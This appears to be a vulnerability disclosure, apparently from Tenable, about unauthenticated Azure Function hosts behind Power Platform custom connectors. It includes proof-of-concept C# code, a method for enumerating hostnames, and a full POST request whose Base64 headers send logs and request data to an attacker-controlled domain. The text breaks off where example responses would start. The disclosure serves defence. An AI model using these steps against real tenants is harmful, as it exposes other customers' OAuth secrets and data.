A researcher at Tenable has discovered an issue that enables limited, unauthorized access to cross-tenant applications and sensitive data (including but not limited to authentication secrets).
Background
The issue occurred as a result of insufficient access control to Azure Function hosts, which are launched as part of the creation and operation of custom connectors in Microsoft’s Power Platform (Power Apps, Power Automation).
Certain connectors created for the Power Platform make use of custom C# code to connect and communicate with other services. That C# code is deployed as part of an Azure Function with an HTTP trigger. This Azure Function is deployed and managed by Microsoft, not as part of the customer’s environment.
Normally, customer interactions with their own custom connector take place through authenticated APIs (e.g. https://unitedstates-002.azure-apim.net/apim/connection-xyz). This API endpoint then proxies requests to communicate with the Microsoft-managed Azure Function without any form of authentication required.
Note: This is the diagram of how we understood these services to be communicating when reporting the issue. For a more detailed diagram see https://learn.microsoft.com/en-us/connectors/connectors
It was therefore possible for an attacker who determined the hostname of the Azure Function associated with the custom connector to interact with the function, as defined by the custom connector code, without authentication.With one such hostname, an attacker could determine the hostnames for Azure Functions associated with other customers’ custom connectors, as they differed only by an integer.
Many custom connectors are built to communicate with third-party services, and a common use, from what was seen during testing, appeared to be handling authentication flows between Microsoft’s Power Platform and these third-party services.
As a result, it was possible to intercept OAuth client IDs and secrets, as well as other forms of authentication, when interacting with the unsecured Azure Function hosts.
It should be noted that this is not exclusively an issue of information disclosure, as being able to access and interact with the unsecured Function hosts, and trigger behavior defined by custom connector code, could have further impact. However, because of the nature of the service, the impact would vary for each individual connector, and would be difficult to quantify without exhaustive testing.
Proof of Concept / Steps to Reproduce:
1. Finding the connector hostname
When creating a custom connector in the power platform, one can specify custom C# code to run. The easiest way to determine a hostname which is assigned upon the creation of the custom connector/connection, is to use custom code like the following:
public class Script : ScriptBase
{
public override async Task<HttpResponseMessage> ExecuteAsync()
{
HttpResponseMessage response = new HttpResponseMessage(HttpStatusCode.OK);
response.Content = CreateJsonContent("{\"message\": \""+Environment.GetEnvironmentVariable("WEBSITE_HOSTNAME")+"\"}");
return response;
}
}
This code, when tested/run as a custom connector will return the hostname of the Azure Function on which your custom code is running.
{
"message": "abc123xyz-fa-001.azurewebsites.net"
}
The abc123xyz portion of the hostname shown above remains static for a certain number of deployed Azure Functions, so all an attacker needs to do to find other valid hostnames is change the numeric portion of the host name.
2. Crafting a POST request
Recall that these hosts are HTTP Trigger Azure Functions which take a POST request at /api/Script.
While they did not require authentication to interact with by default, they did expect a certain set of HTTP request headers to be set before they would finally pass to the custom connector code.
X-Ms-Request-Method: set to GET
X-Ms-Request-Uri: set to the Base64 of an attacker controlled endpoint
X-Ms-Original-Request-Uri: set to the Base64 of an attacker controlled endpoint
X-Ms-Log-Blob-Sas-Uri: set to the Base64 of an attacker controlled endpoint
X-Ms-Operation-Id: It depends on the custom connector setup whether this is used or not,
so it can be any string during enumeration of other hosts.
A simple POST request for example would be:
POST /api/Script HTTP/2
Host: abc123xyz-fa-001.azurewebsites.net
Content-Type: application/json
X-Ms-Request-Method: GET
X-Ms-Request-Uri: aHR0cHM6Ly9mYWtlY29ycC5jYQ==
X-Ms-Original-Request-Uri: aHR0cHM6Ly9mYWtlY29ycC5jYQ==
X-Ms-Log-Blob-Sas-Uri: aHR0cHM6Ly9mYWtlY29ycC5jYQ==
X-Ms-Operation-Id: test
Content-Length: 2
{}
Where aHR0cHM6Ly9mYWtlY29ycC5jYQ== is the base64 of an attacker controlled domain (in this case https://fakecorp.ca). Sending this request would send the log output or resulting request to the attacker controlled domain.
An attacker could then increment 000 through 999 (though it is unknown how many applications would be associated with this same host name).
Once complete, the attacker could then launch a new custom connector to yield another hostname.
For example, instead of abc123xyz-fa-001.azurewebsites.net, they find lmn789qrs-fa-001.azurewebsites.net, and increment through the hosts again.
Example requests received using the steps described above: